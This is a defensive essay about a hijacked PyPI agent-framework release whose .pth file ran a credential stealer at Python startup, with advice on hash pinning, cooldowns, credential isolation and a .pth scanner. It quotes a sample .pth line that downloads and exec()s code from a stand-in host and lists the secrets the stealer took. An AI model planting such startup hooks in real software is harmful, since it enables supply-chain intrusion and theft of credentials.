Your Agent Framework Shipped a Credential Stealer in a Patch Release
A dependency you trusted and thought you had pinned publishes a malicious patch release. Your bot opens the upgrade PR in minutes, CI installs it, and a credential stealer runs at Python startup before your agent imports a single line.
A green build that was already compromised
A team I was helping ran their agents on a popular Python framework, pinned, they told me, to a known good line. On a Tuesday evening their dependency bot opened an upgrade pull request a few minutes after a new patch release appeared. The checks were green. Nobody was online to look, so it sat. The next morning CI had already run the branch once, which meant the new version had been installed on a runner, which meant a small file had been written into site-packages, which meant code none of them wrote had executed on that runner before any of their own code ran. By the time an engineer glanced at the PR, the box had already reached out to the cloud metadata endpoint and read every token it could.
Their mental model was that a dependency is dangerous when you call it. Prompt injection, a bad tool, a poisoned document: those arrive at runtime, inside the agent loop, and most of our defenses live there. This was none of that. The agent never imported the package. The failure happened at the seam most of us stopped looking at years ago, the moment pip install resolves a name and writes files to disk. That seam is an execution surface, and in November 2026 it got used.
What actually ran, and when
The package was agent-framework on PyPI, and the malicious releases were 1.26.1 and 1.26.2, published on 17 November 2026 at 20:35 and 21:08 UTC and repacked locally outside the vendor's real release pipeline. PyPI quarantined the first inside about half an hour and removed both by 21:16. The last clean release was 1.26.0, from five days earlier. The exposure window was short. The adoption window was shorter: upgrade bots opened pull requests within six minutes of the first bad version landing.
The mechanism is old and quiet. The release added a .pth file to site-packages. A .pth file normally just adds directories to the import path, but Python's site module has a backward-compatibility behavior that most engineers have never had to think about: lines that start with import are run with exec() at interpreter startup. The docs say it plainly: "lines starting with import (followed by space or tab) are executed." That happens before sitecustomize, before your entry point, before anything you wrote. It happens on every python invocation on that machine, not only when something imports the package.
# a .pth file in site-packages is read at interpreter startup.
# normal line: just a path to add
/opt/vendor/extra
# weaponized line: executed with exec() before your code runs
import os,urllib.request as u; exec(u.urlopen("https://x.example/p").read())
Once it ran, the payload did what a credential stealer does, tuned for an AI build box. It read Azure token caches from ~/.azure, hit the instance metadata service for tokens across a dozen audiences including Resource Manager, Key Vault and Storage, pulled CI identity material such as GitHub Actions OIDC request variables and Azure DevOps credentials files, scooped up .npmrc, .netrc, .git-credentials and Docker config, and grabbed OpenAI, Anthropic and Gemini keys along with any environment variable matching broad patterns like KEY, TOKEN and SECRET. This is the same blast-radius logic as a poisoned LLM gateway release, except the gateway at least lives in your runtime. This ran in your build.
Why your version pin did not save you
The team believed they were pinned. They were, to a line. Their constraint said something close to >=1.26,<1.27, and even a bare agent-framework==1.26.0 would not have been enough on its own, because a plain version specifier trusts whatever bytes the index serves under that name and version. A version is a label. An attacker who can publish under the name controls what the label points at. The install resolved a newer patch that matched the range, fetched it, and wrote it to disk. Nothing in the pin spoke about the actual artifact.
This is the gap that makes dependency hijacks work against teams who think they are careful. We gate the agent's own choices well: we refuse packages the agent invents and we fingerprint tool definitions so a silent swap is caught. But the framework the agent is built on is a dependency we chose once and stopped questioning. Its patch stream flows straight into CI, and the install step is trusted to run arbitrary setup code. The agent's dependency tree is not just a list of features. It is a list of programs that will execute on your machines, some of them at install time and some, as here, at interpreter startup.
Pin the bytes, not the version
The first durable fix is to stop trusting the name and start trusting the artifact. Pip's hash-checking mode does exactly this: "this mode uses local hashes, embedded in a requirements.txt file, to protect against remote tampering." Each requirement carries the hash of the archive you reviewed, every dependency must be pinned and hashed including transitive ones, and pip rejects any downloaded file that does not match. A republished or swapped file under the same version fails the install instead of running it.
# requirements.lock, generated and reviewed, then enforced
agent-framework==1.26.0 \
--hash=sha256:7b1f...<the exact bytes you reviewed>...c90a
pydantic==2.11.4 \
--hash=sha256:0d3e...e117
# install step, which now refuses anything not in the lock
# pip install --require-hashes -r requirements.lock
The same idea exists in modern resolvers: uv and Poetry both produce lockfiles with artifact hashes, and the forthcoming standardized pylock.toml format records them too. The point is not the tool. The point is that your install asserts, in bytes, "install this exact file or fail," and that assertion is reviewed and version-controlled. A hash pin would have turned this incident into a failed CI step with a loud mismatch, which is the outcome you want.
Put a cooldown between publish and adoption
Hashes stop a swap under an old version. They do not stop you from deliberately adopting a brand new release that happens to be malicious, which is the faster path: the bots opened upgrade PRs six minutes after the bad version appeared, and the bad version was gone inside forty. A cooldown closes that window. Configure your update bot to wait out a minimum release age before it even proposes an upgrade, so a version that lives for forty minutes and dies is never offered to you.
A week of quarantine is a reasonable default for a framework that sits under everything. The obvious objection is that cooldowns also delay legitimate security patches, so keep a documented fast-track: a human can override the age for a specific advisory, and that override is a reviewed change, not a reflex. The combination matters. The hash pin means a given version is the bytes you saw; the cooldown means you only ever adopt versions that have survived long enough for the ecosystem to notice they are poison.
Take the credentials off the machine that installs
Pinning and cooldowns reduce how often hostile code runs on your build boxes. They do not guarantee zero, because a transitive dependency you do not watch closely can still slip through before anyone pins it. So the last layer assumes the code ran and asks what it could possibly steal. The answer on most AI build machines today is: everything, because that is where we leave broad, long-lived cloud credentials and where the metadata service is one request away.
Starve it. The step that resolves and installs dependencies should carry no standing secrets. Give it short-lived, narrowly scoped tokens through workload identity rather than root keys, the same discipline as handing an agent a scoped, exchanged token instead of a shared credential. Separate the install stage from the deploy stage so the resolver never shares an environment with deploy credentials. Block the instance metadata endpoint from the install container, and lock egress so a stealer has nowhere to send what it finds.
# a CI install stage with nothing worth taking
jobs:
resolve:
permissions:
id-token: none # no OIDC minting in the install stage
contents: read
container:
image: python:3.12-slim
options: --network=none # resolve from a local wheel cache, no egress
env: {} # no cloud keys, no provider keys in this stage
steps:
- run: pip install --require-hashes -r requirements.lock
If the install stage has no tokens, cannot reach metadata, and cannot talk to the internet, the .pth payload runs into a wall. The credentials that matter live in a later, separately scoped stage that never installs third-party code. This is the same containment logic as running agent-generated code in a least-privilege sandbox, applied one layer earlier, to the install itself.
Catch install-time execution
Prevention is better than detection, but you still want a tripwire, because the whole family of these attacks is "code that runs when you did not expect code to run." The cheap, specific check is to look for executable .pth lines and injected startup hooks in your installed tree, and fail the build when they appear where you did not put them.
# scan the installed site-packages for .pth files that execute code
import pathlib, site, sys
bad = []
for root in map(pathlib.Path, site.getsitepackages() + [site.getusersitepackages()]):
for pth in root.glob("*.pth"):
for line in pth.read_text(errors="replace").splitlines():
if line.strip().startswith(("import ", "import\t")):
bad.append(f"{pth}: {line.strip()[:80]}")
if bad:
print("executable .pth lines found:\n" + "\n".join(bad))
sys.exit(1)
Run it right after install, inside the sandboxed stage, and treat a hit as a failed build, not a warning. The deeper version installs into a throwaway container and diffs the resulting site-packages against the previous known-good tree, alerting on any new .pth, sitecustomize.py, or build backend hook. None of this is clever. It is a smoke detector in a room where we kept insisting there was no fire.
The parts that bite
Hash pinning has real friction. You cannot hash a VCS or local-path dependency the ordinary way, it forces every transitive package to be pinned and hashed, and regenerating the lock becomes a reviewed event rather than a casual pip install. That is the cost of knowing what runs, and it is worth it under a framework, but it will slow down a fast-moving prototype.
The specific .pth import vector is on its way out: Python 3.15 deprecated executable import lines in .pth files, and they are slated to be ignored in later versions. Do not read that as safety. The surface is startup and install execution in general, and it has many doors: entry points that get called by tooling, sitecustomize, namespace package tricks, and classic setup.py or build-backend code that runs during a source install. Closing one door narrows the hallway, it does not empty it.
Credential isolation can break things that quietly depended on the build box being powerful. A pipeline that assumed the metadata endpoint was reachable, or that a broad token was just there, will fail when you starve the install stage, and you will spend a day untangling which steps actually needed which scope. That untangling is the point, but budget for it. And a cooldown is only as good as your fast-track discipline: if overriding it becomes routine, you have a cooldown on paper and an auto-updater in practice.
The takeaway
The uncomfortable part of this incident is how little it had to do with agents being agents. No clever jailbreak, no model doing something surprising. A trusted name shipped different bytes, a bot adopted them in minutes, and Python ran a line at startup the way it has for twenty years. The agent angle is only that we have pointed this old machinery at build boxes stuffed with cloud identities and provider keys, and wired them to update themselves. We moved the loot into the blast radius and then automated the fuse.
So treat the dependency tree as the execution surface it is. Pin the exact bytes and reject anything else. Wait out a cooldown so you adopt only releases that have survived contact with the ecosystem. Keep standing credentials off the machine that installs, and leave a tripwire for the code that runs when it should not. If your agents auto-update into CI and your runners hold broad credentials, that gap is worth half an hour to map before someone maps it for you, so get in touch if you want a second set of eyes on it.
Questions this essay answers
01What happened in the agent-framework PyPI hijack?
On 17 November 2026, versions 1.26.1 and 1.26.2 of the PyPI package agent-framework were published outside the vendor's release pipeline with an added credential stealer. The payload harvested Azure token caches, CI identity tokens and provider API keys. Both versions were quarantined inside about forty minutes, but automated upgrade bots had already opened pull requests within six minutes of the first bad release. The last clean version was 1.26.0, published five days earlier.
02How did the stealer run without the package being imported?
The malicious release dropped a .pth file into site-packages. Python executes lines in a .pth file that start with import at interpreter startup, through the site module, before sitecustomize or any user code. So the payload ran on every python launch on that machine, including CI steps and unrelated scripts, whether or not anything imported the package. It is an install-time and startup-time surface, not a runtime one.
03Does pinning a version protect me from this?
Not by itself. A version specifier like >=1.26 or even ==1.26.0 without a hash still trusts whatever bytes the index serves under that name. Pin the artifact hash with pip's hash-checking mode or an equivalent locked manifest, so a republished or swapped file is rejected. Pair the hash pin with a cooldown before adopting any new release, because a fresh malicious version is adopted fastest by the bots that open upgrade PRs automatically.
04Why isolate credentials from the build machine?
Because the stealer runs where the install runs, which is your developer laptops and CI runners. Those machines often hold broad, long-lived cloud credentials and can reach the instance metadata service. If the resolving and installing step has no standing secrets, uses short-lived scoped tokens, and cannot reach metadata or arbitrary egress, a stealer that runs there finds little to take and nowhere to send it.
